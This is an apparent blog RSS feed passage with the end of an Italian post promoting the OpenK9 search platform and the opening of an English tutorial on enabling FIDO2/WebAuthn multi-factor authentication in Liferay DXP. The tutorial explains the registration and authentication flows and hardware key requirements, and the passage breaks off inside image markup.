della query definendo nuove regole e strumenti di comprensione.&lt;/p&gt;&lt;h2 id=&quot;conclusione&quot;&gt;Conclusione&lt;/h2&gt;&lt;p&gt;OpenK9 è un sistema di ricerca moderno e potente. Attraverso le sue caratteristiche si propone di raggiungere prestazioni di alto livello
in grado di soddisfare le esigenze (anche quelle più estreme) all&amp;#x27;interno delle organizzazioni di oggi e del futuro.
L&amp;#x27;utilizzo di tecniche di intelligenza artificiale per la gestione di tutta una serie di aspetti è in linea con la logica di un sistema sempre più
preciso e potente.&lt;/p&gt;&lt;p&gt;OpenK9, si vuole inoltre differenziare rispetto ai suoi competitor, e lo fa soprattutto grazie alla citata capacità di essere facilmente estendibile e
ampiamente personalizzabile. Proprietà fondamentali al fine di soddisfare e risolvere la grande eterogeneità di esigenze dettate dal mondo reale.&lt;/p&gt;&lt;p&gt;Allora cosa aspettate?! Sul sito di OpenK9 potete trovare una guida approfondita su come installare ed eseguire OpenK9 sulla vostra macchina.
Trovate sia la documentazione per eseguire il tutto tramite Docker Compose, sia la documentazione per un&amp;#x27;installazione più robusta su cluster Kubernetes;
il tutto seguito da documentazione per la configurazione degli aspetti principali del prodotto.&lt;/p&gt;&lt;p&gt;Inoltre per provare direttamente Openk9 utilizza l&amp;#x27;&lt;a href=&quot;https://demo.openk9.io/&quot;&gt;ambiente demo&lt;/a&gt;
online e testa direttamente le funzionalità di ricerca.&lt;/p&gt;&lt;style class=&quot;grvsc-styles&quot;&gt;
  .grvsc-container {
    overflow: auto;
    -webkit-overflow-scrolling: touch;
    padding-top: 1rem;
    padding-top: var(--grvsc-padding-top, var(--grvsc-padding-v, 1rem));
    padding-bottom: 1rem;
    padding-bottom: var(--grvsc-padding-bottom, var(--grvsc-padding-v, 1rem));
    border-radius: 8px;
    border-radius: var(--grvsc-border-radius, 8px);
    font-feature-settings: normal;
  }
  
  .grvsc-code {
    display: inline-block;
    min-width: 100%;
  }
  
  .grvsc-line {
    display: inline-block;
    box-sizing: border-box;
    width: 100%;
    padding-left: 1.5rem;
    padding-left: var(--grvsc-padding-left, var(--grvsc-padding-h, 1.5rem));
    padding-right: 1.5rem;
    padding-right: var(--grvsc-padding-right, var(--grvsc-padding-h, 1.5rem));
  }
  
  .grvsc-line-highlighted {
    background-color: var(--grvsc-line-highlighted-background-color, transparent);
    box-shadow: inset var(--grvsc-line-highlighted-border-width, 4px) 0 0 0 var(--grvsc-line-highlighted-border-color, transparent);
  }
  
&lt;/style&gt;</content:encoded></item><item><title><![CDATA[How to configure Liferay for authentication via FIDO2]]></title><link>https://techblog.smc.ithow-to-configure-liferay-authentication-fido2</link><guid isPermaLink="false">https://techblog.smc.ithow-to-configure-liferay-authentication-fido2</guid><pubDate>Mon, 23 May 2022 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;At the tenth &lt;a href=&quot;https://liferaybootcamp.smc.it/it/agenda&quot;&gt;Liferay Boot Camp 2022&lt;/a&gt; is
The topic of what Liferay offers in terms of security and how was discussed
realize their own solutions using the framework that Liferay puts a
at our disposal.&lt;/p&gt;&lt;p&gt;Remaining therefore on the subject of safety, in this article we will address how
enable &lt;strong&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/Multi-factor_authentication&quot;&gt;Multi-Factor Authentication (MFA)&lt;/a&gt;&lt;/strong&gt;
in particular by configuring the use of &lt;a href=&quot;https://fidoalliance.org/fido2/&quot;&gt;&lt;strong&gt;FIDO2 (Fast Identity Online 2)&lt;/strong&gt;&lt;/a&gt;
with &lt;u&gt;the aim of being able to access the portal via your device
(hardware token)&lt;/u&gt;.&lt;/p&gt;&lt;p&gt;In the order we will see:&lt;/p&gt;&lt;ol&gt;&lt;li&gt;What is FIDO2&lt;/li&gt;&lt;li&gt;The two phases of WebAuthn&lt;/li&gt;&lt;li&gt;What are the requirements to use FIDO2&lt;/li&gt;&lt;li&gt;Multi-Factor Authentication configuration for FIDO2&lt;/li&gt;&lt;li&gt;Authenticator registration procedure&lt;/li&gt;&lt;li&gt;Authentication test with FIDO2&lt;/li&gt;&lt;/ol&gt;&lt;p&gt;By reading this article to the end, you should then be able to
easily add the additional authentication factor to the normal
login process with username and password.&lt;/p&gt;&lt;p&gt;As usual I will leave the bonus at the end of the article, that is, the reference
GitHub of the project which will allow you to recreate the scenario we&amp;#x27;re going to
to describe. Plus I will leave you a short movie showing all the activities that
were performed on the Liferay portal.&lt;/p&gt;&lt;h2 id=&quot;1-what-is-fido2-webauthn--ctap&quot;&gt;1. What is FIDO2: WebAuthn &amp;amp; CTAP&lt;/h2&gt;&lt;p&gt;FIDO2 is an open standard (launched by &lt;a href=&quot;https://fidoalliance.org/overview/&quot;&gt;FIDO Alliance and W3C&lt;/a&gt;)
whose goal is to offer a passwordless authentication method
(or &lt;em&gt;password-less&lt;/em&gt;) for secure login as part of web authentication,
using &lt;em&gt;hardware verified&lt;/em&gt; for user identification.&lt;/p&gt;&lt;p&gt;With FIDO2, authentication takes place via a trusted device, which in
technical terms is called &lt;strong&gt;authenticator&lt;/strong&gt;. The connection between
the authenticator and the browser can be established in several ways, such as for
example: Bluetooth, USB or NFC. These devices can be of various types
and in general:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;USB sticks such as those produced by &lt;a href=&quot;https://www.yubico.com/products/yubikey-5-overview/&quot;&gt;Yubico&lt;/a&gt; and &lt;a href=&quot;https://www.onespan.com/products/hardware-authentication/digipass-secureclick&quot;&gt;SecureClick&lt;/a&gt;&lt;/li&gt;&lt;li&gt;Smart Card (also contactless) such as &lt;a href=&quot;https://fidoalliance.org/showcase/wega-3dsa-acoustic-card/&quot;&gt;Wega 3DSA 2.0 Acoustic Card&lt;/a&gt; certified by the FIDO Alliance&lt;/li&gt;&lt;li&gt;Chip &lt;a href=&quot;https://en.wikipedia.org/wiki/Trusted_Platform_Module&quot;&gt;&lt;strong&gt;Trusted Platform Module&lt;/strong&gt;&lt;/a&gt; (TPM) already integrated in most smartphones, laptops and PCs&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;FIDO2 combines the specification &lt;a href=&quot;https://www.w3.org/2022/04/webauthn-wg-charter.html&quot;&gt;W3C Web Authentication (WebAuthn)&lt;/a&gt;
and the &lt;a href=&quot;https://fidoalliance.org/specs/fido-v2.1-ps-20210615/fido-client-to-authenticator-protocol-v2.1-ps-20210615.html&quot;&gt;Client to Authenticator (CTAP)&lt;/a&gt;
protocols of the FIDO Alliance.&lt;/p&gt;&lt;p&gt;The CTAP protocol resides at the application layer and is responsible for the
secure communication between the &lt;em&gt; verified hardware device &lt;/em&gt;
(or &lt;strong&gt; authenticator &lt;/strong&gt;) and the client / platform (usually the browser) e
ensure transparency with respect to the connection method which can be USB,
&lt;a href=&quot;https://en.wikipedia.org/wiki/Near-field_communication&quot;&gt;NFC&lt;/a&gt;
(Near-Field Communication) or Bluetooth.&lt;/p&gt;&lt;p&gt;The WebAuthn protocol, on the other hand, makes authentication possible by defining the
process by which web applications can integrate key cryptography
public/private (or asymmetric) in a browser. This occurs when
they communicate via CTAP protocol with the authenticator (TPM module or key
USB).&lt;/p&gt;&lt;p&gt;This API allows &lt;em&gt;Relying Parties&lt;/em&gt; (or Service Providers) to register and
authenticate users through very secure asymmetric encryption,
rather than through a password.&lt;/p&gt;&lt;p&gt;The FIDO2 standard is currently supported by Windows 10, Android and the web
browsers Google Chrome, Mozilla Firefox, Microsoft Edge and Apple Safari.&lt;/p&gt;&lt;p&gt;We could therefore summarize the main characteristics of FIDO2 in:&lt;/p&gt;&lt;ol&gt;&lt;li&gt;Authentication with external or integrated hardware keys (see &lt;a href=&quot;https://www.biometricupdate.com/202006/apple-launches-web-authentication-using-fido-standard-with-touch-id-or-face-id-biometrics-in-safari&quot;&gt;Apple launches web authentication using FIDO standard with Touch ID or Face ID biometrics in Safari&lt;/a&gt;)&lt;/li&gt;&lt;li&gt;Two-factor authentication&lt;/li&gt;&lt;li&gt;Asymmetric public/private key encryption;&lt;/li&gt;&lt;li&gt;Authenticator stored locally&lt;/li&gt;&lt;/ol&gt;&lt;p&gt;I leave you the insights on the subject, starting from reading the
&lt;a href=&quot;https://fidoalliance.org/how-fido-works/&quot;&gt;How FIDO Works&lt;/a&gt; document published
on the FIDO Alliance portal.&lt;/p&gt;&lt;h2 id=&quot;2-the-two-phases-of-webauthn&quot;&gt;2. The two phases of WebAuthn&lt;/h2&gt;&lt;p&gt;The WebAuthn protocol essentially has two phases, which are:&lt;/p&gt;&lt;ol&gt;&lt;li&gt;The credential registration flow&lt;/li&gt;&lt;li&gt;The credential authentication flow&lt;/li&gt;&lt;/ol&gt;&lt;p&gt;In a password-based user registration flow, the user comes
presented a form that requires a username and password, the latter is
then sent to the server for archiving.&lt;/p&gt;&lt;p&gt;In WebAuthn, &lt;strong&gt;&lt;em&gt;a server must provide data that binds a user to a credential (a private-public key pair)&lt;/em&gt;&lt;/strong&gt;;
this data includes identifiers for the user and the organization (also known as
a Relying Party). The website will then use the WebAuthn API to prompt the
user to create a new key pair. It is important to note that we need a
randomly generated string by the server as a challenge in order to prevent
attacks.&lt;/p&gt;&lt;p&gt;The dialogue shown below gives an exact idea of the flow of
WebAuthn credential registration described above.&lt;/p&gt;&lt;div class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:791px&quot;&gt;
      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/a3746fd079148b837c02020e0c8d33e7/cc8d6/webauthn-credential-register-flow.png&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom:95%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;380\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%20380\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;%3e%3cpath%20d=\&amp;#x27;M256%2055l-1%203c0%206%206%205%207-1%201-2%201-2%201%200%200%204%201%205%207%205h5l-1-3c0-2%200-3%202-3l1%203c-1%203-1%203%201%203s2%200%201-3c-1-5-1-5-4-5s-4%200-3%203l-1%203-1-3-1-3c-1%200-2%201-1%203l-1%203-2-3c0-2-1-3-4-3l-5%201M21%2098v39h51V97H47l-26%201m171%2012l-2%203-3%203c-1%202-1%202-1%200%200-3-1-4-4-4s-3%200-3%204l1%204c2%200%202-1%201-3%200-2%200-3%202-3l1%203c-1%202-1%203%201%203l2-1h1l4%201c2%200%203%200%203-2l-1-5-1-4-1%201m64%2049c-5%206%200%2016%208%2015%202-1%203%200%206%203l5%203c2-2%201-5-2-7-2-3-3-4-3-7%200-8-8-12-14-7m21-1c-7%204-4%2015%205%2015%203%200%205%201%207%204%206%206%2010%202%204-4-3-2-4-4-4-7%200-7-6-11-12-8m-193%205c-3%206-4%209-2%209l2-1%201-2%202%201c0%202%201%202%206%202s6%200%206-2l-1-5-1-4-1%205-1%205-1-5c0-4%200-5-2-5s-2%200-1%201v8l-3-4c-2-5-3-6-4-3m90%200v9h23l-2%201-2%201%203%201c2%200%203-1%203-6s0-5-3-5c-2%200-3%200-4%203-1%204-1%205-1%202%200-4-1-5-5-5-2%200-3%200-3%203v3l-1-2-2-4c-1%200-2%201-1%204l-1%203-2-4-1-5-1%201m-46%2026l2%204v6c1%200%203-2%203-5%203-5%204-5%204%201l1%204c1%200%202-1%201-2l1-1c3%202%205-4%203-7-2-2-11-1-11%200v3l-1-2-1-2-2%201m-39%2052c-3%203-2%205%200%208%205%205%201%205-7%200l-7-4c-1-1-1%201-1%2010v12h38v-23l-7%205c-9%205-14%206-8%200l2-4c0-6-7-8-10-4m-69%2069l1%2020v10l1-7%201-5v3c0%202%204%206%206%206l5%201-5%201%2018%201h25v-40H20v10m96%202c-4%200-5%201-5%202l2%201c1-1%201%200%201%203-1%204%200%205%201%205s2-1%201-5c0-4%200-4%202-4h2c1-1%201%200%201%204-1%204%200%205%201%205s2-1%202-3l1-2v2c0%203%200%203%206%203h5v-4c0-3-1-3-3-3l-4%201c0%204%200%204-1%202%200-3-1-4-3-4l-2-2-1-2-6%201m31%204c0%205-1%207-2%202-1-3-1-3-4-3s-4%200-4%204v4h9c8%200%209-1%206-3-1-1-1-1%201-3%201-2%201-2-1-2l-2%201c-1%201-1%200-1-2l-1-3c-1%200-2%201-1%205m23%202l1%205c2%200%202-1%201-2l1-3%202%203c1%202%203%203%203%201h2l4%201c1-1%201-1-1-2s-2-1%200-1c2-1%203-4%200-5-2-1-4%201-5%204l-1%201v-4c0-3-2-4-5-4-2%200-2%200-2%206m93-1c-1%202%200%205%202%206%203%200%205-2%205-5v-2l1%202v4c-1%201%200%201%206%201%207%200%207%200%207-2-2-7-1-6-11-6-7%200-9%201-10%202\&amp;#x27;%20fill=\&amp;#x27;%23d3d3d3\&amp;#x27;%20fill-rule=\&amp;#x27;evenodd\&amp;#x27;/%3e%3c/svg%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
        &lt;source srcSet=&quot;/static/a3746fd079148b837c02020e0c8d33e7/c85cb/webauthn-credential-register-flow.webp 300w,/static/a3746fd079148b837c02020e0c8d33e7/e88ff/webauthn-credential-register-flow.webp 600w,/static/a3746fd079148b837c02020e0c8d33e7/5f564/webauthn-credential-register-flow.webp 791w&quot; sizes=&quot;(max-width: 791px) 100vw, 791px&quot; type=&quot;image/webp&quot;/&gt;
        &lt;source srcSet=&quot;/static/a3746fd079148b837c02020e0c8d33e7/5a46d/webauthn-credential-register-flow.png 300w,/static/a3746fd079148b837c02020e0c8d33e7/0a47e/webauthn-credential-register-flow.png 600w,/static/a3746fd079148b837c02020e0c8d33e7/cc8d6/webauthn-credential-register-flow.png 791w&quot; sizes=&quot;(max-width: 791px) 100vw, 791px&quot; type=&quot;image/png&quot;/&gt;
        &lt;img alt=&quot;Figure 1 - WebAuthn credentials registration flow (source https://webauthn.guide/)&quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/a3746fd079148b837c02020e0c8d33e7/cc8d6/webauthn-credential-register-flow.png&quot; title=&quot;Figure 1 - WebAuthn credentials registration flow (source https://webauthn.guide/)&quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Figure 1 - WebAuthn credentials registration flow (source https://webauthn.guide/)&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/div&gt;&lt;p&gt;At the end of the registration, the user can be authenticated.
&lt;strong&gt;&lt;em&gt;An assertion will be created during authentication, which is proof that the user has the private key&lt;/em&gt;&lt;/strong&gt;.
This assertion contains a signature (or signature) created using the key
private. &lt;u&gt;The server uses the public key retrieved during the
registration to verify this signature&lt;/u&gt;.&lt;/p&gt;&lt;p&gt;The dialogue shown below gives an exact idea of the flow of
WebAuthn credential authentication described above.&lt;/p&gt;&lt;div class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:791px&quot;&gt;
      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/4cf51c814a6ea128d13bcfa3e58871e4/cc8d6/webauthn-credential-authentication-flow.png&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom:126.66666666666666%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;506\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%20506\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;%3e%3cpath%20d=\&amp;#x27;M127%2047l1%202v2c-2%203%200%204%208%203h7l-1-4c0-3-1-4-4-4s-3%200-2%203l-1%203c-1%201-1%200-1-1%200-4-5-7-7-4m67%2055l-1%205c-2-1-3-4-1-5v-2c-2-3-4%200-3%203%200%204%201%205%205%206%203%200%203-1%203-3l1-4%201%203c0%203%200%203%203%204l5-1h6c1-2%201-2-1-4s-2-2%200-1c3%200%203-2%200-3-3%200-5%202-4%204v2c-2%201-2%201-2-2l-2-4v3l-1%204c-1%200-2-1-2-3%200-3-1-4-3-4l-2-2-1-1-1%205m-25-1v8c0%203%203%203%205%201l6-2c4%201%204%200%202-7h-6v4c0%202%200%202-1-1%200-3-3-5-6-3M35%20126c0%2013%201%2015%201%2010%200-8%201-8%202-6s1%203%202%202l1%201v1h1v1h1v1h1v1l5%205%2029%202c1-1%202-2%202-18v-17H35v17m238%207l1%2013h46v-26l-6%204c-6%204-6%204-16%204h-9l8%201c10%200%2011%202%200%202-7%200-8%200-14-5-11-7-10-8-10%207m-95-6v6h11v-3l1-4%201%203c-1%203-1%204%201%204s2-1%201-4l-1-4-11%201c-1%201-1%200-1-2l-1-3-1%206m19-2c-3%202-3%207%200%208%203%200%205-2%205-5%200-2%200-2%202%201%201%205%202%205%203%202l1-2%201%202c1%203%202%202%204-3%201-3%201-3-2-3l-5%202h-1c1-2%200-2-2-2h-6m-83%2073v5l1%204h8l9-1-1-4c-1-3-2-3-4-3-3%200-4%200-4%203%201%204-1%204-2%200l-1-3-1%204-1%203-2-4-1-5-1%201m122%2020c-5%206%200%2015%207%2014%202-1%203%200%206%202%203%204%206%204%206%202l-3-4c-2-3-3-4-3-8%200-7-7-11-13-6m34%202l-2%207c0%203%200%204-2%204v1l-3%201-4%201%2013%201%2013-1-7-1h-6l2-3c3-3%203-3%205-1%201%201%206%201%206-1h-6c-1-3-2-2-5%201-4%203-5%202-2-2%202-3%202-8%200-9l-2%202m-106%2073v6h3l5-1h2c1%201%204%201%204-1h-1l-2-1c-1-1%200-1%201-1%202%200%203-1%203-2%201-1%201%200%201%202%200%203%200%204%202%204l1-4%201-3%201-1h-8c-2-2-5%200-5%204%200%203-2%202-2-1s-1-3-2-3l-2-2-1-2-1%206m-56%208c-6%204-7%204-15%204-9%200-9%200-2%201%2010%200%2010%202%200%202-7%200-7%200-14-5l-8-5-1%2013v12h23l23-1v-25l-6%204m29%2059v5l-1%203-1-3-1-4c-1%200-2%201-2%204l1%204h4c4%200%204%200%203-3%200-4%201-4%203%200v6c2%200%204-3%205-9v-2l-2%202-1%202v-3l-2-1c-2%200-3%200-2-1%200-3-2-2-4%200m44%203c0%204%200%205-2%205l-1-3c1-4-1-8-2-5s1%2010%203%209h13c1%201%204%200%203-1h-1l-2-1c-1-1%200-1%202-1%203%200%203-3%200-4-2-2-5%200-5%204%200%202%200%202-1%200%200-2-1-4-3-4l-2-3-1-1c-1%200-2%201-1%205m72%209c-8%206-2%2019%208%2018%203-1%204%200%208%204l7%204c3-1%202-4-2-9-4-4-5-5-4-8%201-9-9-16-17-9m44%202l-2%208c0%206-1%208-4%207l-1%201c2%202%2010%201%2014-3l4-3c0%203%203%204%206%203l3-2h-2c-3%201-5%201-5-1%200-3-3-2-7%202-5%205-7%204-4-1%204-5%205-10%203-12s-4-1-5%201m-175%2010c-3%202-2%206%202%207%201%201%201%201-1%201s-2%200-1%201c2%201%205%200%205-2s0-2%201-1c1%203%204%201%204-2l1-4%201%203c-1%203-1%204%201%204s2-1%201-3c-1-6-4-7-8-5h-1c0-1-4-1-5%201m-87%2072c0%206%200%2011%201%2010l8%207%207%207h29v-35H35v11m121-6c-4%200-5%201-5%202l2%201c2-1%202%204%201%207-1%201%200%201%202%201%201%200%202%200%201-1s0-8%201-7l2-1c1-1%201%200%201%204-1%204%200%205%201%205%202%200%202-1%201-3%200-2%200-3%202-3l1%203c-1%203-1%203%204%203%203%200%204%200%203-1v-4c0-2%200-3-2-3-1%200-2%201-1%204%200%204-2%203-2-1%200-2-1-3-3-3l-2-2-1-2-6%201\&amp;#x27;%20fill=\&amp;#x27;%23d3d3d3\&amp;#x27;%20fill-rule=\&amp;#x27;evenodd\&amp;#x27;/%3e%3c/svg%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
        &lt;source srcSet=&quot;/static/4cf51c814a6ea128d13bcfa3e58871e4/c85cb/webauthn-credential-authentication-flow.webp 300w,/static/4cf51c814a6ea128d13bcfa3e58871e4/e88ff/webauthn-credential-authentication-flow.webp 600w,/static/4cf51c814a6ea128d13bcfa3e58871e4/5f564/webauthn-credential-authentication-flow.webp 791w&quot; sizes=&quot;(max-width: 791px) 100vw, 791px&quot; type=&quot;image/webp&quot;/&gt;
        &lt;source srcSet=&quot;/static/4cf51c814a6ea128d13bcfa3e58871e4/5a46d/webauthn-credential-authentication-flow.png 300w,/static/4cf51c814a6ea128d13bcfa3e58871e4/0a47e/webauthn-credential-authentication-flow.png 600w,/static/4cf51c814a6ea128d13bcfa3e58871e4/cc8d6/webauthn-credential-authentication-flow.png 791w&quot; sizes=&quot;(max-width: 791px) 100vw, 791px&quot; type=&quot;image/png&quot;/&gt;
        &lt;img alt=&quot;Figure 2 - WebAuthn credentials authentication flow (source https://webauthn.guide/)&quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/4cf51c814a6ea128d13bcfa3e58871e4/cc8d6/webauthn-credential-authentication-flow.png&quot; title=&quot;Figure 2 - WebAuthn credentials authentication flow (source https://webauthn.guide/)&quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Figure 2 - WebAuthn credentials authentication flow (source https://webauthn.guide/)&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/div&gt;&lt;p&gt;To learn more about the use of the WebAuthn API of registration and
authentication, I recommend reading &lt;a href=&quot;https://webauthn.guide/&quot;&gt;WebAuthn: A better alternative for securing our sensitive information online&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;We will then see these two phases of registration and authentication
distinct from a practical point of view right on Liferay.&lt;/p&gt;&lt;h2 id=&quot;3-requirements-for-using-fido2-with-liferay&quot;&gt;3. Requirements for using FIDO2 with Liferay&lt;/h2&gt;&lt;p&gt;Before proceeding with the configuration of the &lt;em&gt;Multi-Factor Authentication (MFA)&lt;/em&gt;
through FIDO2, it is necessary that you have the availability of one
&lt;a href=&quot;https://en.wikipedia.org/wiki/Security_token&quot;&gt;Security Key or Token&lt;/a&gt; and
the latter is FIDO2 certified (see &lt;a href=&quot;https://fidoalliance.org/fido-certified-showcase/&quot;&gt;FIDO Certified Showcase&lt;/a&gt;).&lt;/p&gt;&lt;p&gt;For the case presented in this article, I will use the Security Key (or Token)
&lt;a href=&quot;https://www.yubico.com/products/yubikey-5-overview/&quot;&gt;YubiKey 5 Series&lt;/a&gt;.
I preferred to opt for this hardware device as it offers support
multi-protocol enabling strong security for legacy and modern environments.
This Security Key is also recommended by Liferay.&lt;/p&gt;&lt;p&gt;The main features of this series of Security Keys:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;Multi-protocol support; FIDO2, U2F, Smart Card, OTP, OpenPGP 3&lt;/li&gt;&lt;li&gt;USB-A, USB-C, NFC, Lightning&lt;/li&gt;&lt;li&gt;IP68 rated, crush resistant, no batteries required, no moving parts&lt;/li&gt;&lt;/ul&gt;&lt;h2 id=&quot;4-multi-factor-authentication-configuration-for-fido2&quot;&gt;4. Multi-Factor Authentication configuration for FIDO2&lt;/h2&gt;&lt;p&gt;The &lt;em&gt;Fast IDentity Online 2&lt;/em&gt; or FIDO2 standard allows the use of biometric data
(i.e. fingerprint readers), mobile devices or other keys of
security for passwordless authentication. Administrators just have to
enable FIDO2 for their instance, then users can register and
use their FIDO2 compatible devices.&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Warning!&lt;/strong&gt; Multi-Factor Authentication is only available with Liferay
DXP, it is therefore not possible to activate it on the Community Edition.&lt;/p&gt;&lt;p&gt;Before you can configure FIDO2, you need to enable the
&lt;em&gt;Multi-Factor Authentication&lt;/em&gt;. The default state is &lt;u&gt;enabled at the system level but disabled in the default instance&lt;/u&gt;.
In effect, this means that MFA is indeed disabled on installations Liferay DXP
standard.&lt;/p&gt;&lt;div class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:1200px&quot;&gt;
      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/d1afc0657e3f09da0d6816bccfe12d58/9d1a3/system-settings-configure-and-enable-multifactor-autentication-1.png&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom:32.33333333333333%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;129\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%20129\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;%3e%3cpath%20d=\&amp;#x27;M2%207v5h44V2H2v5m1%200v4h42V3H3v4m54%200l45%201c54%201%2067%201%2092%205%2049%206%2077%2019%2078%2035l1%205%201-4c-4-23-41-36-114-41-19-1-90-2-103-1m197%2066l1%2018h35V55h-36v18m2%200v16h33V56h-33v17\&amp;#x27;%20fill=\&amp;#x27;%23d3d3d3\&amp;#x27;%20fill-rule=\&amp;#x27;evenodd\&amp;#x27;/%3e%3c/svg%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
        &lt;source srcSet=&quot;/static/d1afc0657e3f09da0d6816bccfe12d58/c85cb/system-settings-configure-and-enable-multifactor-autentication-1.webp 300w,/static/d1afc0657e3f09da0d6816bccfe12d58/e88ff/system-settings-configure-and-enable-multifactor-autentication-1.webp 600w,/static/d1afc0657e3f09da0d6816bccfe12d58/92f8c/system-settings-configure-and-enable-multifactor-autentication-1.webp 1200w,/static/d1afc0657e3f09da0d6816bccfe12d58/62ed8/system-settings-configure-and-enable-multifactor-autentication-1.webp 1800w,/static/d1afc0657e3f09da0d6816bccfe12d58/46261/system-settings-configure-and-enable-multifactor-autentication-1.webp 2400w,/static/d1afc0657e3f09da0d6816bccfe12d58/27ab9/system-settings-configure-and-enable-multifactor-autentication-1.webp 2484w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/webp&quot;/&gt;
        &lt;source srcSet=&quot;/static/d1afc0657e3f09da0d6816bccfe12d58/5a46d/system-settings-configure-and-enable-multifactor-autentication-1.png 300w,/static/d1afc0657e3f09da0d6816bccfe12d58/0a47e/system-settings-configure-and-enable-multifactor-autentication-1.png 600w,/static/d1afc0657e3f09da0d6816bccfe12d58/c1b63/system-settings-configure-and-enable-multifactor-autentication-1.png 1200w,/static/d1afc0657e3f09da0d6816bccfe12d58/d61c2/system-settings-configure-and-enable-multifactor-autentication-1.png 1800w,/static/d1afc0657e3f09da0d6816bccfe12d58/97a96/system-settings-configure-and-enable-multifactor-autentication-1.png 2400w,/static/d1afc0657e3f09da0d6816bccfe12d58/9d1a3/system-settings-configure-and-enable-multifactor-autentication-1.png 2484w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/png&quot;/&gt;
        &lt;img alt=&quot;Figure 3 - Access to the system-wide Multi-Factor Authentication configuration&quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/d1afc0657e3f09da0d6816bccfe12d58/c1b63/system-settings-configure-and-enable-multifactor-autentication-1.png&quot; title=&quot;Figure 3 - Access to the system-wide Multi-Factor Authentication configuration&quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Figure 3 - Access to the system-wide Multi-Factor Authentication configuration&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/div&gt;&lt;div class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:1200px&quot;&gt;
      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/ccc8d473d15c908551d926e93b8c1d9b/5b712/system-settings-configure-and-enable-multifactor-autentication-2.png&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
